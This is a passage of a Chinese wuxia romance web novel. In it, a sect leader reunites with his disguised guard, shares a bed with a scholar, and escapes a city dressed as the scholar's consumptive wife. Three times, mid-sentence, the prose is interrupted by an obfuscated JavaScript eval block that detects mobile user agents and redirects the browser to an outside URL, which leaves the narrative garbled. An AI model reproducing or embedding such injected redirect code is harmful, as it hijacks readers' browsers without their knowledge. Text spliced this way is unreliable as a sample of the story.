万幸的是他散功之后，满头霜雪般的白发竟尽数回春，变得乌黑柔顺，色泽光润，绝非易容所能伪装。不然仅凭他风家那罕见的白发，无论如何乔装打扮，只怕一进城，就会被人盯上了。也是因此，刚才那人大概只是奉命探查新入城的生面孔，仅在那巷口处远远打量了他们片刻，便转身离去，并未跟上来。 此事风随柳也没跟虚怀谷提及，免得他徒生担忧。 这一日打探无果。第二天风随柳让虚怀谷去采买一些物品，准备明日就出发去灵隐谷。他自己则另有要事去做。 虚怀谷并未多问，只是照办。他知晓风随柳行事沉稳，既有安排，定然有其道理，自己贸然追问，反倒可能添乱。 风随柳离开客栈后，刻意避开城中人流密集之地，拐过几条纵横交错的青石板街巷，一路辗转，最终停在了城南一处不起眼的普通药堂前。 这药堂不大，门面朴素，推门而入时，可以闻到一股淡淡的草药香萦绕鼻尖。堂内只有一位坐堂大夫，正端坐案前，凝神给一位老妇人诊脉。抓药的柜台旁，一个身着青布短打的药童，正歪着头倚在药柜上打盹。 风随柳目光快速扫过堂内四周，确认无人留意自己这边，才放缓脚步，轻轻走到药童面前，屈指在光润的柜面上轻轻敲了三下，声响不大，却足够将人惊醒。 药童猛地一个激灵，瞬间清醒过来，揉了揉惺忪的睡眼，又擦了擦嘴角刚才流下的口水，堆起满面笑容问道：“客官，您是来抓药的吗？” “是。”风随柳声音温和，语速平缓，一边说着，一边从袖中取出一张折叠整齐的药方，轻轻递了过去。那药方是他今早在客栈中，借着房间里的笔墨纸砚匆匆写就的，字迹清隽，却藏着几分不易察觉的隐秘。 药童接过药方，仔细看了半晌，抓了抓后脑勺，道：“客官您稍等，这方子看着有些复杂，我没学过，不会抓，得去叫我们掌柜的来。” 风随柳微微颔首，神色依旧平静，未有半分不耐：“无妨，你去吧。” 药童连忙应了声“好嘞”，引着风随柳往药堂深处走去，一边走一边说道：“您先到里面的内堂坐着等会儿，我去叫掌柜的，很快就给您抓好药。” 风随柳跟着他穿过一道窄窄的回廊，拐进一间陈设简单的内堂，堂中摆着一张方桌、两把椅子，墙角还放着一个小小的药炉，正微微冒着热气。他在椅子上缓缓坐下，目光不动声色地打量着屋内的陈设，暗中留意着外面的动静。 那药童脚步匆匆地离去，不多时，便有一道苍老的身影缓步走了进来——正是方才在堂外坐诊的那位老大夫。 他的目光落在风随柳身上，带着几分审视，却又不失礼数，拱手作揖道：“在下乃灵隐谷白羽弟子，姓王名奇，不知贵客高姓大名？” 19.第 19 章 灵隐谷乃江湖上十分低调的一个门派。说是门派，其实更像是一个散落在寻常村庄山谷之间的松散组织。 大约一千年前，有一异族名为摩耶，据传原本居住在天神所在的神山脚下，后因战乱等原因，陆续迁徙，分散至中原、草原、西域等地。这摩耶族人不论男人，皆容貌出色，且男子更身具异能，可以男子之身受孕生子。 到了大周朝时期，摩耶人因各种原因，在中原颇受迫害，因而转为避世隐居。 所谓小隐隐于野，中隐隐于市，大隐隐于朝。这灵隐谷实际上就是摩耶族人的隐居之地，但却并非与世隔绝，反倒因为常年有弟子出山，自有一套章法，行事颇有规则。谷中众人依职责分为红、黄、黑、白四羽。红羽主事，统管谷中大小事务；黄羽主财，专司经商理财，为谷中筹措银两；黑羽司暗，负责探查消息、护卫、暗杀等武力安全；白羽司医，便是悬壶济世、钻研医术。 灵隐谷最常出谷的，以黄羽和白羽弟子为多。黄羽弟子行走四方，经商贸易，采买货物，充盈谷中府库；白羽弟子则悬壶济世，既为百姓医病，也暗中为谷中传递消息。这王奇自称白羽，显然是灵隐谷派下山来行医的弟子，而这座不起眼的药堂，便是灵隐谷在玉阳城中的一处产业。 风随柳缓缓起身，抬手回礼，温声道：“免贵姓柳，今日前来，是想打听一些城内的消息，另有一事相托。” “姓柳？”王奇眼中闪过一丝诧异，又重新上下打量了风随柳一番。 只见眼前这年轻人气度不凡，身姿挺拔，只是容貌过于娇怯柔媚了些，年纪也显得尚轻，眉眼间，竟看不出半分那位的影子。不过他也清楚，行走江湖，易容改貌乃是常事，就连他自己，此刻的模样也并非本来面目，是以并未过多深究。只是试探着问道：“不知柳少侠与我灵隐谷白羽之首、鬼医柳冥柳羽主，是什么关系？” 灵隐谷中，四羽之首皆尊称为“羽主”，柳冥便是白羽当之无愧的首领。他本是上一代灵隐谷主的亲传弟子，天资卓绝，论本事本可继承谷主之位，奈何他并非摩耶族人，只是一普通男子。灵隐谷世代规矩，谷主必须是摩耶人，方能坚守“守护族人”的初衷。不过柳冥本来也无意于谷主之位，以他一手出神入化的医术，成为白羽之首却是无人不服。他医毒双绝，还带出了几位得力弟子，只是素来低调，鲜少出谷，是以在江湖上名声不显。但在神冥教、天门这类底蕴深厚的大宗门中，还是颇有名气的。 风随柳道：“我是他子侄辈。” 并非他有意隐瞒，只是眼下局势复杂，教内叛徒未除，人心叵测，他实在不敢对一个素未谋面的灵隐谷弟子推心置腹。再说，儿子也是子侄辈，没毛病。 那王大夫笑道：“原来如此。竟是柳羽主的亲眷，失敬失敬。不知柳少侠想打探什么消息？又有何事需要我相助？只要我灵隐谷能帮上忙，定不推辞。” 风随柳微微扬起唇角，缓缓说道：“那劳烦王先生了。” …… 风随柳离开灵隐谷的药堂，正慢慢沿着小巷往回走，却突然在拐角处一棵不起眼的柳树旁停下脚步。他眉峰微蹙，眼角余光不动声色地扫过巷街两端，确认四下无人窥探，才缓缓弯腰，指尖轻拂过树下那道极淡的记号。 是黄岫！ 风随柳一眼就认了出来。他麾下四名护卫，各有自己专属的暗号，旁人绝难模仿，这道扭曲的刻痕，正是黄岫独有的标记。 凝神细看，那记号刻得仓促，边缘毛糙，刻痕深处还凝着一抹模糊的暗红，似是未干的血迹。 风随柳心下一沉。当下也顾不上客栈里还在等候的虚怀谷，足尖一点，身形如惊鸿掠起，施展轻功，循着记号指引的方向寻了过去，衣袂翻飞间，只留下一缕淡淡的风痕。 另一边，虚怀谷采买完物品，返回了客栈时。但直等到日头渐斜，暮色四合，风随柳一直没有回来。 这让虚怀谷非常担心。他忐忑不安地在房间里来回踱步，有心出门寻找，可他对玉阳城的街巷一无所知，更无半分武功傍身，这般贸然出去，很可能不但帮不上忙，反而成为风随柳的累赘。他咬了咬牙，终究按捺住心头的急切，守在屋内，只盼着那道熟悉的身影早点推门而入。 他又想起家中的弟妹。从他离开家乡平阳县到现在，已然过去了近两个月。离开范州之前，他曾托人给家中带过一封书信，信中言明自己将北上去往明国遥京，归期未定，让家中亲人不必挂念。也不知道现在这封信送到了没有？家中的二弟怀明、三妹怀心，正是半大不小、需要人照拂的年纪，四弟和五妹更是懵懂稚童，虽说有村邻和族老们帮忙照应，可他离家日久，终究放心不下。可眼下局势不明，他根本不方便与家中联系，只能走一步看一步。 现下他唯一的期盼便是风随柳能早日恢复武功，找出教内叛徒，彻底了结这次刺杀事件。只有解决了此事，他们才能真正安心，而他也能早日踏上归乡之路。但风随柳今夜的晚归，让他彻底彷徨起来。 到了快入夜的时候，窗外忽然传来一声极轻的响动。虚怀谷吓了一跳，正要起身去窗边察看，却见窗户猛地从外面被人拉开，两道身影如狸猫般轻盈，一前一后翻了进来，落地时悄无声息。 虚怀谷喉头一紧，差点叫出声来，可定睛一看，最先落地的那人，一身青衫小厮打扮，眉眼间的清冷与熟悉，正是他等候了许久的风随柳。 风随柳指尖轻按唇间，冲他做了个噤声的手势。 虚怀谷连忙捂住嘴，定了定神，目光投向风随柳身后的人，眼底有些警惕，还有几分难以掩饰的惊讶。 那竟是一个二十出头的妇人，容貌寻常，衣着朴素，荆钗布裙，与街头巷尾那些操持家务的寻常妇人别无二致，看上去便是个安分守己的良家女子。 他正欲开口询问，风随柳却已先低声开口，道：“这是我的属下护卫，黄岫。” 话音刚落，那妇人便上前一步，对着虚怀谷微微欠身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514821|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，嘴角噙着一抹浅笑，俯身道：“虚先生，好久不见。” 这一开口，却是一道清脆利落的男儿之声，与她那副妇人模样格格不入。虚怀谷浑身一震，吓了一跳，随即又觉得这声音有些耳熟，像是在哪里听过，却一时想不起来。 黄岫神色一敛，换上一副恭敬谦卑的神色，躬身作揖，语气恭谨道：“虚先生可是有什么差遣，尽管吩咐小人便是。” “啊！”虚怀谷差点跳起来，指着黄岫不敢置信地道：“你是范州别院里那个小厮！” “正是在下。”黄岫又笑了笑，只是他顶着这一身妇人装扮，用男儿的嗓音说话、行礼，那反差感实在太过强烈，看得虚怀谷一时有些恍惚。 风随柳道：“黄岫擅长伪装，易容水平出神入化，你没认出来也不稀奇。” 虚怀谷这才想起正事，连忙关切地问道：“你怎么回来得这么晚？可是出了什么变故？” 风随柳在桌边坐下，正要倒茶，黄岫却抢先一步拿起茶盏，动作娴熟地给他斟了一杯茶水，双手递了过去，这才转头对虚怀谷低声解释道：“虚公子莫急，教主今日是特意去寻我，才耽误了时间。” 原来那日江面之上，商船倾覆，黄岫也被卷入湍急的江流之中。因他离风随柳太远，只能眼睁睁地看着教主与虚怀谷被乱流冲远。自身难保之下，他唯有死死攥住身旁的青峰，与他一同被江水裹挟着冲向下游岸边。 青峰的水性不及黄岫，又受了伤，若不是黄岫在乱流之中拼尽全力护着他，恐怕早已葬身江底了。 二人好不容易才游上岸，摆脱了身后追兵的纠缠，稍稍喘息后，便立刻商议起营救教主的对策。起初青峰要与他一同前往玉阳城，却被黄岫拒绝了。黄岫心思缜密，他敏锐地察觉到这场针对教主的大规模刺杀，若无内鬼里应外合，绝对无法做到。现在他们侥幸逃脱，若是二人一同行动，一旦落入内鬼布下的陷阱，岂不是被一网打尽、再无人能营救教主了。 于是二人议定，兵分两路：黄岫一路北上，前往玉阳城求援；而青峰则掉头折返，尽快赶回芜城，去找柳慕风。要知道，芜城也有神冥教的堂口，只是与玉阳城的堂口分属两支，互不统属。玉阳城的堂口由金长老掌管，而芜城的堂口，则归裘明裘长老负责。 这两位长老素来不和，颇有一些积怨，分别向二人求援，便是黄岫的万全之策。这样即便其中一人存有异心，不肯出手相助，另一人想必也不会坐视教主遇险而不管。 黄岫的这番安排果然没错。他一路辗转来到玉阳城，第一时间便去寻金长老求助，金长老表面上和颜悦色，言语间百般安抚，暗地里却早已派人暗中监视他的一举一动。黄岫本就擅长盯梢、打探消息，那些暗中监视的人，刚一靠近，便被他敏锐地察觉。他心中警铃大作，察觉出不对劲，当即想要脱身，却被金长老派来的人团团围住。万幸他事先早有防备，凭借着高超的易容术与应变能力，九死一生，才勉强从包围中逃了出来。 20.第 20 章 别看此时黄岫面目如常，其实他前些日子在围攻之下也受了重伤，差点性命不保。他乔装成寻常妇人，躲在玉阳城里养伤，金长老派了一波又一波人全城搜查，却始终未能寻到他的踪迹。但这也不是长久之际，幸好今日终于和教主相聚，他们能一起逃出城去。 黄岫将前因始末简略跟虚怀谷说了一遍，便道：“教主，眼下当务之急是立刻离开玉阳城。此地本就是金长老的势力范围，那些杀手十有八九是青云楼的人，我们逗留得越久，凶险便越多一分。” 风随柳道：“我们本就打算明日出城，你随我们一同离开。” 二人当初入城，凭的正是虚怀谷的路引。他自平阳县启程时，便早已备好了正经官发路引，再加秀才出身的身份文牒，虽是文国功名，在明国地界依旧通行无碍。这些物件他素来用油布层层裹好，贴身藏得严实。幸而他之前只是个小人物，乘船赶路时也没怎么出舱露面，行事低调，金长老与那些追杀之人，压根没摸清他的真实来历，也正因如此，才得以带着风随柳一路掩人耳目，平安抵达玉阳城。 黄岫得知虚怀谷有路引，还有秀才官牒，当即面露喜色，拍手道：“太好了。那明日我便扮作虚先生的妻室，委屈教主依旧装作随行小厮，咱们三人一同出城，定然稳妥。” 他话音刚落，虚怀谷还未说话，风随柳却淡淡开口，语气不容置喙：“不行。” 黄岫一愣，忙问：“教主，可是有哪里不妥？” 风随柳抬眸，清冷的眼风淡淡地扫过他，语气平静地道：“你不能扮作他的夫人。” 啊？这…… 黄岫顿时面露难色，道：“可虚先生这般清寒的读书人家，便是小有家资，寻常行路，也极少会带两个小厮，这……实在太过扎眼了。” 风随柳顿了顿，沉默片刻，依旧是那句没转圜余地的话：“总之，你不能做他夫人。” 这也太没道理了吧…… 黄岫心里暗暗叫苦。可他追随风随柳多年，深知这位主儿看着温润，实则性子执拗，喜怒难辨，一旦定了主意，旁人半句也劝不动。可问题就僵住了啊。 他愁眉不展，想了想，又提议道：“那我扮作马夫？可城里的车马行大半和牙帮有勾结，这几日各个城门口都有牙帮和教内分堂的叛徒守着，只怕他们见我脸生，平白惹出事端。” 风随柳垂眸沉吟，手指摩挲着桌沿，过了片刻，低声道：“那便换过来。” “啊？” 黄岫一时没明白，满脸茫然地看着他。 风随柳暗生不悦，瞥了他一眼，头一回觉得这个素来机灵通透的属下，竟也有这般蠢钝的时候，只得耐着性子提醒道：“你方才的提议，我们身份换过来。” 黄岫呆滞了足足半晌，瞳孔微微收缩，这才战战兢兢地反应过来，声音忍不住发飘，小心翼翼地确认道：“您、您是说……属下扮作小厮，您扮作虚先生的……夫人？” 风随柳微微颔首，心下总算满意，道：“你这个提议倒是不错。” 黄岫：？？？ 黄岫当场呆住了。无语了片刻，抬手抹了一把额头根本不存在的冷汗。 他之前压根没想过让教主扮演虚怀谷的妻室，不是风随柳不够美，而是他身量太高了。这矮子扮高容易，但高个子扮矮却不易，这可不是易容能解决的。 风随柳也学过易容改貌之术，一眼就看穿了他心底的顾虑，不由微微一笑，语气温和，却带着让人无法拒绝的压迫感，温声‘鼓励’道：“黄岫，本座相信你一定有办法办妥的，对不对？” 你小子可千万别让本座失望啊。 黄岫浑身一个激灵，背脊都忍不住微微瑟缩，连忙挤出一个比哭还难看的僵硬笑容，头点得像捣蒜：“是、是是！属下有办法！肯定有办法！教主您放心！” 他心里已经泪流满面。 当初就不该闲得慌，精研什么易容改貌之术啊！ 离了个大谱啊！谁能想到杀伐果断、威震江湖的神冥教教主，居然主动要扮作一个文弱秀才的妻子？这要是传回教里，让老教主和二公子知道了，不得拿着这件事笑话教主半辈子？ 黄岫心里苦得能滴出苦水来，可嘴上却半个字也不敢往外说。 一旁的虚怀谷始终安安静静坐在椅上，从头至尾没有插嘴。他本就是不通江湖事务的寻常人，不懂这些隐匿脱身的门道，因而只是安静地听着二人商议，并不随意插话。 直到二人把出城的细节和应对盘查的说辞一一敲定，早已到了安寝的时辰，虚怀谷这才温声开口，问道：“夜色已深，今夜咱们三人如何安置歇息？” 黄岫连忙抢先开口：“我随便凑合一晚便可，不碍事的。” 风随柳却已经起身，径直走到屋内唯一的床榻边坐下，抬了抬下巴，语气自然得仿佛本该如此：“他打地铺，我们二人照旧。” “好。”虚怀谷闻言，也没有半点异议，应声起身，从柜中取出一套干净被褥，递给站在一旁的黄岫，语气带着几分歉意，道：“委屈黄侠士了，实在是房间狭小，不便安排。” “不敢当侠士二字，虚先生直接唤我黄岫便是。”黄岫连忙双手接过被褥，熟练地把屋内的木椅拼凑整齐，铺上被褥将就落脚。 他这边刚收拾妥当，回身就看见风随柳已经侧身躺到了床榻内侧。虚怀谷也很自然地宽了外衫，掀开被子，上榻躺在了他身侧，二人同盖一床棉被，距离近得几乎相贴。 黄岫当场惊在原地，眼珠子都差点掉下来。 他狠狠揉了揉眼睛，确认自己没看错，自家杀伐果断的教主，就这么安安稳稳地，和一个刚认识不久的书生商贾同榻而眠，甚至、甚至还共盖同一床被子？！ 黄岫的呼吸都忍不住急促起来，手脚一时都不知道往哪里放。 床榻上的风随柳似有所觉，平缓无波的声音淡淡传来：“黄岫，收拾好了就熄灯，早点安歇，明日还要早起出城。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516385|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “哦哦！是、是是！属下这就熄灯！” 黄岫忍不住又结巴了。只觉得今天一天，自己结巴的次数比过去十几年加起来都多。 他连忙吹熄了桌案上的烛火，屋内瞬间陷入一片朦胧的黑暗，只有窗外透进来的一点月光，勉强照亮屋内轮廓。他小心翼翼地躺进自己拼凑的被褥里，连呼吸都放得极轻，生怕惊扰了床榻上的两位，大气都不敢喘一口。 黑暗里安静了许久，黄岫隐约听见那边的床榻上，虚怀谷一直在轻轻辗转，迟迟没有入睡。他心里暗暗担忧，这人翻来覆去的，万一吵到了教主可怎么好。 就在这时，床榻内侧传来风随柳极低极柔的声音，在寂静的夜里格外清晰：“你怎么还不睡？可是有何事担忧？” 紧接着就听见虚怀谷也放轻了声音，偷偷摸摸地用气音小声开口道：“我有点担心……明日出城，万一真遇上盘查，出了意外，我不会半点武功，到时候非但帮不上忙，恐怕还会拖累你们。” 他自以为自己声音压得够低，却忘了这屋里另外两个人都有内功在身，耳聪目明，在这寂静的夜里，便是一根针落在地上都能听得一清二楚，何况他这刻意放低的话语。 风随柳顿了顿，低低一笑，柔声安抚道：“无妨，你放心。有我和黄岫在，定会护你周全。” 躺在椅子上的黄岫瞬间精神一振，暗中狠狠握拳：懂了！虚先生的安危是头等大事！ 记住了！ 虚怀谷却轻轻摇了摇头，依旧小声道：“我不是这个意思。我是说万一……我是说万一，真的遇到什么危险，你们只管自己脱身就好。我只是个手无缚鸡之力的寻常秀才，并非江湖中人。他们要抓的是你们，想必不会为难我这个读书人的。” 黄岫：天真！想不到虚先生竟然如此天真！我们现在是一根绳上的蚂蚱，但凡抓到您，知道您和我们同行，他们岂会放过你？不过虚先生有心善，到了那种时候，还想着让我们先脱身。 黑暗里，风随柳悄悄伸出手，在棉被下轻轻握住了虚怀谷微凉的手。他的掌心温热干燥，力道安稳坚定，声音压得极低，却字字清晰，带着不容动摇的认真：“无论遇到什么情况，我都不会丢下你，更不会让你一个人身陷险境。” 黄岫：…… 突然觉得自己有些多余。 虚怀谷心头一暖，反手轻轻回握住风随柳的手，声音都软了几分，轻声道：“风兄，你待我真好。” 风随柳带着几分嗔怪的意味，轻声低语：“早前就同你说过，私下无人时，叫我随柳就好。” 虚怀谷微微踌躇，有些不好意思地小声道：“那是只有我们两个人的时候。现下你的护卫还在屋里，我……我怎好这般直呼你的名字。” 风随柳道：“无碍。他奔波一日，早就睡熟了，听不见的。” 黄岫：…… 教主，您要不要再听听我的呼吸声呢？您这样说，我现在屏住呼吸还来得及吗？ 21.第 21 章 虚怀谷听风随柳这样一说，当真以为黄岫已经睡熟，于是轻轻翻了个身，面朝风随柳躺下。两个人离得极近，他温热的呼吸轻轻扑在风随柳的面颊上，用气音偷偷摸摸地、极小声地问：“你明日……真的要扮作我的夫人呀？” 风随柳只觉得那一缕温热的呼吸扫过肌肤，酥酥麻麻的，连带着心跳都乱了半拍。 他也缓缓转过身，与虚怀谷面面相对，隔着朦胧的夜色，望着近在咫尺、眉眼俊美的人，学着他的样子，用气音轻轻开口，声音带着一丝不易察觉的笑意：“嗯。莫非……你不愿意？” 虚怀谷只觉得两个人的距离实在太近了，近到彼此之间只有一拳之隔，似乎只要他稍稍往前一动，鼻尖就能碰到对方的脸颊。 这让他瞬间想起了之前破庙那夜，二人肌肤相拥、依偎取暖的场景，脸颊瞬间烧了起来。 他下意识想往后稍稍挪开一点，可心底却又有一丝不舍。内心挣扎片刻，最后视线微微下移，落在风随柳线条流畅清晰的下颌处，声音带着些许羞涩，却又无比真诚，小声道：“我不是不愿意。我只是觉得你是一教之主，身份尊贵，却要屈身扮作女子……会不会太委屈你了，有损你的威严？” 风随柳看着他眼底真切的担忧与羞涩，漆黑的眸子里瞬间漾开一片温柔的笑意。他非但没有后退，反而借着被褥的遮掩，又微微凑近了半分，两人的鼻尖几乎要碰到一起。他温热的呼吸裹着淡淡的松木香，尽数落在虚怀谷的脸颊上，看着面前人瞬间红透的耳尖，低声用气音笑道：“威严哪有你重要。” 虚怀谷的呼吸猛地一滞，一时不知该怎么说话了。 风随柳看着他手足无措的样子，心底柔软，又轻声补了一句：“再说，能做虚先生的夫人，不算委屈。” 这句话说得极轻，却像是一颗石子，在虚怀谷的心湖里砸开了层层涟漪。他整个人都懵了，愣愣地看着近在咫尺的人，月光勾勒出对方精致的眉眼，明明是男子的轮廓，却偏偏生得绝色，此刻眼底的温柔，几乎要将他整个人淹没。 他连忙闭上眼，不敢再看，声音呐呐道：“你别乱说话，你我都是男子……这都是权宜之计。” 风随柳低低地笑了起来，胸腔微微震动，握着他的手又紧了紧，没有再逗他，只是温声安抚：“好，不说了。快睡吧，明日有我在，万事无忧。” 虚怀谷闭着眼，乖乖地点了点头，攥着他的手，紧绷的身子渐渐放松下来，闻着他身上清浅的气息，没过多久，就安稳地陷入了睡眠，呼吸渐渐变得平缓均匀。 直到身侧的人彻底睡熟，风随柳才缓缓睁开眼，在黑暗中静静看着他安稳的睡颜，目光温柔得能滴出水来，小心翼翼地抬手，轻轻拂开他额前散落的碎发，动作轻得生怕惊扰了他。 躺在椅子上全程装死的黄岫，把这一句句情话听得一字不落，在黑暗中瞪大了眼睛，内心疯狂咆哮：完了完了，教主这哪里是为了出城脱身，这分明是假戏真做啊！ 明天这夫人扮上，日后可还摘得下来？ 他现在连夜跑路还来得及吗？知道了教主这么多秘密，回头会不会被灭口啊！ 黄岫默默地把自己往被褥里缩了缩，只恨自己无法打晕自己。他把呼吸调整到了沉眠的状态，打定主意，今晚就算是天塌下来，他也绝不睁眼，绝不吭声，就当自己是个聋子、瞎子、不存在的透明人！ 天光大亮之前，黄岫顶着一对黑眼圈，顶着教主轻飘飘扫过来的、带着警告意味的眼神，认命地拿出全套易容工具，手脚发软地给自家教主上妆易容。 风随柳压低了身形轮廓，收了自己挺拔的肩背线条，又用软布轻轻束了肩宽。黄岫为他调了贴合肤色的面皮，修饰了凌厉的下颌线条，描了温婉的眉形，衬得那双本就绝色的眸子，更添了几分温婉柔媚。再换上黄岫提前备好的素色布裙，一头墨发松松挽了个寻常妇人的发髻，插一支素银簪子。 等收拾妥当，黄岫看着眼前身姿温婉、眉眼清秀，半点看不出江湖戾气的 “虚夫人”，握着工具的手都直发抖。 别说，就他们教主现在这扮相，别说守在城门口的那些牙帮，就算是金长老本人站在面前，都绝对认不出来！ 虚怀谷换好一身素色秀才长衫，收拾好行囊，转身看到风随柳的样子，不由身形微顿。 他还是第一次见到女装模样的风随柳，这是他之前想都未曾想过的事情。易容之术果然神奇，明明面前人还是从前那个人，但是气质、模样、身形都有了很大变化，完全变成另外一个人了。而且若不知实情，当真是虚怀谷心目中温婉秀丽的娘子形象呢。 娘子…… 虚怀谷的脸腾地一下红了。 风随柳看着他羞涩的样子，唇角微微上扬，走上前，很自然地伸手轻轻挽住了他的胳膊，微微垂眸，声音放得柔婉，完全是一副温顺妻室的模样，轻声道：“夫君，时辰不早了，我们出城吧。” 虚怀谷整个人都快烧起来了，僵硬地点了点头，被他挽着胳膊，魂不守舍地往门外走。 身后的黄岫背着行囊，低着头，老老实实扮作随行小厮，全程目不斜视，心里只有一个念头： 只要我看不见，就不会被灭口。只要我不说话，就不会惹教主生气。待此事了结，我一定要申请去边境分堂，再也不要夹在中间听他们秀恩爱了！ 三人各有心思，赶着马车来到城门口。上次他们是从南门进入的，这次选择从西城门离开。 之前风随柳从灵隐谷白羽王奇那里打探到，最近玉阳城内官府并没什么动静，然江湖帮派中，神冥教分堂似乎在找什么人，并有牙帮相助，进城宽松，出城的却被盯得很紧。风随柳当时不知此事与黄岫有关，后与黄岫重聚后才知晓神冥教分堂找的人正是黄岫。 风随柳轻轻掀开马车车帘一角，向外观察，果然见路边立着几名神色鬼祟的探子，来回踱步，目光警惕地打量着往来行人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522282|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中两人的衣角内侧，还绣着极隐蔽的神冥教暗纹，细看之下，正是金长老座下玉阳分堂的标记。 风随柳心底冷笑一声，暗忖：好一个“佛手仁心”金太平，嘴上挂着慈悲道义，背地里却筹谋叛教之事。有你在，我这一路，可真是半刻也不得太平！ 风随柳放下车帘，心中暗自筹谋如何处置金太平不提。 不多时，马车便到了西城门下。守城门的卫卒立刻上前拦路，按例盘查。百姓进出玉阳城，多走南门与西门。他们当日是从南门进的城，为防万一，出城便选择了西城门。牙帮本就是当地横行的地头蛇，平日里与南门西门的守城卫卒都有暗中勾结、利益纠缠。守城的卫卒近些日子收了不少好处，知晓神冥教玉阳分堂联合牙帮在四处寻人，悬赏丰厚，故而这些时日对出城的盘查，比往日严苛了数倍。卫卒们个个眼神锐利，不肯轻易放行。 “车上是何人？路引拿来！”领头的卫卒是个满脸横肉的壮汉，接过虚怀谷递来的路引，反复翻看了几遍，又抬眼扫了一眼一旁低头垂肩、毫不起眼的黄岫，见二人衣着寻常、气质普通，不像是江湖人，本已抬手打算挥挥手放行，眼角余光却瞥见不远处墙角，牙帮的几个混混正对着他连连使眼色。 那卫卒会意，想起前几日牙帮送来的二两银子，还有承诺的事后重谢，便改了主意，语气沉了几分，追问道：“路引倒是没有问题，车内是什么人？” 虚怀谷忙道：“是拙荆。这次就是带她进城看病的，如今看完病，我们便要回去了。” “哦？”那领头的卫卒使了个眼色，旁边的小兵上前把车门帘子掀开，果见里面坐着一个少妇。 只见那少妇身着半旧的青布衣裙，鬓发松松挽着，只簪了一支素银簪子，面色苍白得近乎透明，眉头微蹙，一只腿上缠着厚厚的绑带，双手正不安地抚摸着那只伤腿，见有人掀帘，身子微微一颤，像受惊的小鹿般往车厢深处缩了缩，垂着眼帘，声音细若蚊蚋，带着几分病气：“官爷……” 这便是男扮女装的风随柳。他自幼习得一身精妙无双的内心功法，身形虽然高挑，却偏瘦削，裹上衣裙、掩去喉结，再配上刻意收敛的气息，竟真有几分弱柳扶风的少妇模样。 那小兵探头往车厢里打量了半晌，见风随柳衣着朴素，神色怯懦，身上有伤，还隐隐飘来一丝淡淡的药味，倒也没看出异样，便回头对领头的卫卒道：“头儿，就是个病秧子，看着没什么问题。” 领头的卫卒目光在风随柳脸上扫来扫去，又瞥了瞥不远处仍在使眼色的牙帮混混，想起他们提过要找的那人擅于易容之术，便语气不善地喝道：“看病？看什么病？这腿是怎么回事，莫不是装的？下车让我看看！” 虚怀谷连忙上前道：“官差大人，拙荆摔伤了腿，不良于行，下不得车……” 他话音未落，风随柳便又捂着胸口咳嗽了起来。他咳得喘息不能，拿手帕捂着嘴，竟噗地一声，磕出一口鲜血。 22.第 22 章 虚怀谷眼疾手快，连忙上车将他揽入怀中，心疼地道：“怎么又磕血了？大夫不是说吃过那几副药就会好了？” 风随柳靠在虚怀谷肩头，声音里带着哭腔，边哭边虚弱地道：“夫君，我这已然是痨病之状，这次又摔伤了腿，便是进城找大夫抓了药，只怕也命不久矣了……呜呜呜……只求几位官爷们能高抬贵手，放我们回去，让我死也能死在家里……” 说着，他抬手捂住嘴，又轻轻咳嗽起来，咳嗽声断断续续，身子也跟着微微颤抖，额角竟渗出了细密的冷汗，脸色愈发苍白，连嘴唇都泛了青。 那几名卫卒一听他有痨病在身，立刻整齐划一的后退了一步，便连那领头的卫卒见他咳嗽，也下意识地往后避了避身形。 虚怀谷见状立刻心领神会，连忙顺着风随柳的话说道：“官爷，您看内人都病成这样了，确实经不起耽搁。我们就是普通百姓，哪敢藏什么猫腻？这玉阳城我们也不敢多待，只求能早点回去，让拙荆好好休养。” 说着他以眼神示意黄岫。黄岫赶紧从袖中摸出一些碎银，塞到了那领头的卫卒手中，脸上陪着笑道：“官爷辛苦了，这点薄礼，不成敬意，还请官爷行个方便。” 领头的卫卒掂了掂手中的碎银子，又看风随柳那副病入膏肓的模样，心想这二人衣着普通，女子又病得这般厉害，实在不像是牙帮要找的人。再说了，痨病那可是能过人的，万万不能近前沾染上 于是往后退了几步，挥了挥手道：“罢了罢了，看你夫人病得厉害，就不为难你们了。赶紧走吧，出城后好生照料，莫要再随意进城折腾。”说罢，他又瞪了一眼不远处的牙帮混混，示意他们别多事。 虚怀谷心中一松，连忙道谢：“多谢官爷！多谢官爷！”说着他小心翼翼地扶着风随柳坐好，放下帘子，对黄岫道：“快走！” 马车缓缓启动，驶离西城门，渐渐远离了卫卒和牙帮混混的视线。 车厢内，虚怀谷见玉阳城已经远去，不由松了口气，笑着对怀里人道：“还是你反应快，若不是你说有痨病在身，只怕他们还不会如此轻易让我们脱身。” 